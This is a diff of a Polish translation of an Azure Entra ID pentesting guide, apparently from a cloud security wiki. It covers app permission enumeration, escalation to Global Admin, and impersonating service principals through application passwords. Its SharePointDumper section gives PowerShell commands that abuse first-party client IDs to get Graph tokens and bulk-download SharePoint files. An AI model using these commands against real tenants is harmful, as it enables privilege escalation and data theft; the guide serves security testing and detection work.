@@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
# Print only app permissions where the target API is NOT Microsoft-owned.
# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
is_ms="true"
else
is_ms="false"
fi
permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -895,17 +934,17 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **escalate to Global Admin**, przyznając sobie tę rolę.\
> Po więcej informacji [**sprawdź to**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **eskalować do Administratora globalnego** przyznając sobie tę rolę.\
> Aby uzyskać więcej informacji [**sprawdź to**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Sekretny ciąg znaków, którego aplikacja używa, aby potwierdzić swoją tożsamość przy żądaniu tokenu, to application password.\
> Jeśli więc znajdziesz to **password**, możesz uzyskać dostęp jako **service principal** **inside** **tenant**.\
> Zwróć uwagę, że to password jest widoczne tylko w momencie wygenerowania (możesz go zmienić, ale nie odzyskasz go ponownie).\
> Właściciel **owner** aplikacji **application** może do niej **add a password** (w ten sposób może się nią podszyć).\
> Loginy tych **service principals** są **not marked as risky** i **won't have MFA.**
> Sekretny ciąg, którego aplikacja używa, by potwierdzić swoją tożsamość przy żądaniu tokena, to hasło aplikacji.\
> Zatem, jeśli znajdziesz to **hasło**, możesz uzyskać dostęp jako **service principal** w **tenant**.\
> Zwróć uwagę, że to hasło jest widoczne tylko w momencie jego wygenerowania (możesz je zmienić, ale nie możesz odzyskać go ponownie).\
> **Właściciel** **aplikacji** może **dodać hasło** do niej (tak, że może się nią podszyć).\
> Logowania jako te service principals **nieoznaczane jako ryzykowne** i **nie będą miały MFA.**
Można znaleźć listę powszechnie używanych App IDs należących do Microsoft w [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
@@ -1012,9 +1051,9 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
### Role w Entra ID
### Entra ID Roles
Aby uzyskać więcej informacji o rolach Azure, sprawdź:
Aby uzyskać więcej informacji o Azure roles, zobacz:
{{#ref}}
../az-basic-information/
@@ -1136,11 +1175,11 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
> [!WARNING]
> Jeśli urządzenie (VM) jest **AzureAD joined**, użytkownicy z AzureAD będą **mogli się zalogować**.\
> Co więcej, jeśli zalogowany użytkownik jest **Owner** urządzenia, będzie on **local admin**.
> Co więcej, jeśli zalogowany użytkownik jest **Owner** urządzenia, będzie **administratorem lokalnym**.
### Jednostki administracyjne
### Administrative Units
Aby uzyskać więcej informacji o jednostkach administracyjnych sprawdź:
Aby uzyskać więcej informacji o Administrative Units sprawdź:
{{#ref}}
../az-basic-information/
@@ -1175,14 +1214,14 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Microsoft Graph delegowana ekfiltracja danych SharePoint (SharePointDumper)
## Microsoft Graph delegowana eksfiltracja danych SharePoint (SharePointDumper)
Atakujący posiadający **delegowany Microsoft Graph token**, który zawiera **`Sites.Read.All`** lub **`Sites.ReadWrite.All`**, mogą wylicz**sites/drives/items** przez Graph, a następnie **pobrać zawartość plików** za pomocą **SharePoint pre-authentication download URLs** (czasowo ograniczone URL-e zawierające token dostępu). Skrypt [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatyzuje cały przebieg (enumeration → pre-auth downloads) i generuje telemetrię dla każdego żądania do testów wykrywania.
Atakujący z **delegowanym Microsoft Graph tokenem**, który zawiera **`Sites.Read.All`** lub **`Sites.ReadWrite.All`**, mogą enumerow**sites/drives/items** przez Graph i następnie pobierać zawartość plików za pomocą **SharePoint pre-authentication download URLs** (czasowo ograniczone adresy URL osadzające access token). Skrypt [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatyzuje cały przebieg (enumeration → pre-auth downloads) i emituje telemetry per-request do testów wykrywania.
### Obtaining usable delegated tokens
### Uzyskiwanie użytecznych delegowanych tokenów
- Sam SharePointDumper **nie uwierzytelnia się**; podaj token dostępu (opcjonalnie refresh token).
- Pre-consented **first-party clients** można wykorzystać do wygenerowania tokenu Graph bez rejestracji aplikacji. Przykładowe wywołania `Invoke-Auth` (z [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
- SharePointDumper sam **nie uwierzytelnia się**; podaj access token (opcjonalnie refresh token).
- Aplikacje z wcześniej udzieloną zgodą — **first-party clients** można nadużyć, aby wygenerować Graph token bez rejestracji aplikacji. Przykładowe wywołania `Invoke-Auth` (z [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1195,11 +1234,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> Klienci FOCI TRUE obsługują odświeżanie na różnych urządzeniach; klienci FOCI FALSE często wymagają `-Origin`, aby spełnić walidację pochodzenia reply URL.
> FOCI TRUE clients obsługują refresh na różnych urządzeniach; FOCI FALSE clients często wymagają `-Origin`, aby spełnić walidację origin reply URL.
### Uruchamianie SharePointDumper do enumeration + exfiltration
- Podstawowy dump z custom UA / proxy / throttling:
- Podstawowy zrzut z niestandardowym UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
@@ -1211,16 +1250,16 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Automatyczne odświeżanie tokena przy HTTP 401** (wymaga załadowanego EntraTokenAid):
- **Automatyczne odświeżanie tokenu przy HTTP 401** (wymaga załadowanego EntraTokenAid):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Uwagi operacyjne:
- Prefers **CAE-enabled** tokens to avoid mid-run expiry; refresh attempts are **not** logged in the tools API log.
- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable).
- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests.
- Preferuje tokeny CAE-enabled, aby uniknąć wygaśnięcia w trakcie uruchomienia; próby odświeżenia **nie** są logowane w logu API narzędzia.
- Generuje **CSV/JSON request logs** dla **Graph + SharePoint** i domyślnie maskuje osadzone SharePoint download tokens (opcjonalne).
- Obsługuje **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, oraz **Ctrl+C-safe shutdown** do kształtowania ruchu podczas testów wykrywania/IR.
## Entra ID Privilege Escalation
@@ -1238,25 +1277,25 @@ Uwagi operacyjne:
### Privileged Identity Management (PIM)
Privileged Identity Management (PIM) w Azure pomaga **zapobiegać nadmiernemu przyznawaniu uprawnień** użytkownikom bez potrzeby.
Privileged Identity Management (PIM) w Azure pomaga **zapobiegać nadmiernemu przydzielaniu uprawnień** użytkownikom.
Jedną z głównych funkcji PIM jest umożliwienie nieprzyznawania ról podmiotom, które byłyby stale aktywne, lecz oznaczanie ich jako **uprawnione na określony czas (np. 6 miesięcy)**. Gdy użytkownik chce aktywować tę rolę, musi poprosić o nią, wskazując czas, na jaki potrzebuje uprawnień (np. 3 godziny). Następnie **admin musi zatwierdzić** żądanie.\
Zauważ, że użytkownik będzie mógł również poprosić o **wydłużenie** czasu.
Jedną z głównych funkcji PIM jest to, że pozwala nie przypisywać ról principalom jako stale aktywnych, lecz uczynić je **dostępnymi na określony okres (np. 6 miesięcy)**. Gdy użytkownik chce aktywować taką rolę, musi o nią wystąpić, wskazując czas, na jaki potrzebuje uprawnień (np. 3 godziny). Następnie **admin** musi zatwierdzić prośbę.\
Uwaga: użytkownik będzie także mógł poprosić o **wydłużenie** czasu.
Ponadto, **PIM wysyła e-maile** za każdym razem, gdy rola uprzywilejowana jest przypisywana komuś.
Co więcej, **PIM wysyła e-maile** za każdym razem, gdy komuś przypisywana jest rola uprzywilejowana.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
Po włączeniu PIM można skonfigurować dla każdej roli pewne wymagania, takie jak:
Gdy PIM jest włączony, można skonfigurować każdą rolę z następującymi wymaganiami:
- Maksymalny czas trwania (w godzinach) aktywacji
- Maksymalny czas (w godzinach) aktywacji
- Wymagaj MFA przy aktywacji
- Wymagaj Conditional Access acuthenticaiton context
- Wymagaj kontekstu uwierzytelnienia Conditional Access
- Wymagaj uzasadnienia przy aktywacji
- Wymagaj informacji o ticket'cie przy aktywacji
- Wymagaj zatwierdzenia, aby aktywować
- Maksymalny czas do wygaśnięcia przypisań kwalifikowanych
- Wiele więcej ustawień dotyczących kiedy i komu wysyłać powiadomienia, gdy z tą rolą dzieją się określone akcje
- Wymagaj informacji o zgłoszeniu przy aktywacji
- Wymagaj zatwierdzenia aktywacji
- Maksymalny czas do wygaśnięcia przypisań 'eligible'
- Wiele innych ustawień dotyczących kiedy i komu wysyłać powiadomienia przy określonych działaniach związanych z tą rolą
### Conditional Access Policies
@@ -1268,21 +1307,21 @@ Sprawdź:
### Entra Identity Protection
Entra Identity Protection to usługa bezpieczeństwa, która pozwala **wykryć, kiedy użytkownik lub logowanie jest zbyt ryzykowne** aby je zaakceptować, umożliwiając **zablokowanie** użytkownika lub próby logowania.
Entra Identity Protection to usługa bezpieczeństwa, która pozwala **wykryć, gdy użytkownik lub logowanie jest zbyt ryzykowne**, by je zaakceptować, umożliwiając **zablokowanie** użytkownika lub próby logowania.
Umożliwia administratorowi skonfigurowanie blokowania prób, gdy ryzyko jest "Low and above", "Medium and above" lub "High". Jednak domyślnie jest całkowicie **wyłączone**:
Administrator może skonfigurować ją tak, by **blokowała** próby, gdy ryzyko jest "Low and above", "Medium and above" lub "High". Jednak domyślnie jest całkowicie **wyłączona**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> W dzisiejszych czasach zaleca się dodawanie tych ograniczeń poprzez Conditional Access policies, gdzie można skonfigurować te same opcje.
> Obecnie zaleca się dodawanie tych ograniczeń poprzez Conditional Access policies, gdzie można skonfigurować te same opcje.
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja bezpieczeństwa, która **pomaga zapobiegać nadużyciom słabych haseł poprzez blokowanie kont, gdy wystąpi kilka nieudanych prób logowania**.\
Pozwala też **zablokować niestandardową listę haseł**, którą należy dostarczyć.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja bezpieczeństwa, która **pomaga zapobiegać nadużyciu słabych haseł, blokując konta po kilku nieudanych próbach logowania**.\
Pozwala też **zablokować niestandardową listę haseł**, którą trzeba dostarczyć.
Może być **stosowana zarówno** w chmurze, jak i w on-premises Active Directory.
Może być stosowana **zarówno** w chmurze, jak i w lokalnym Active Directory.
Domyślny tryb to **Audit**: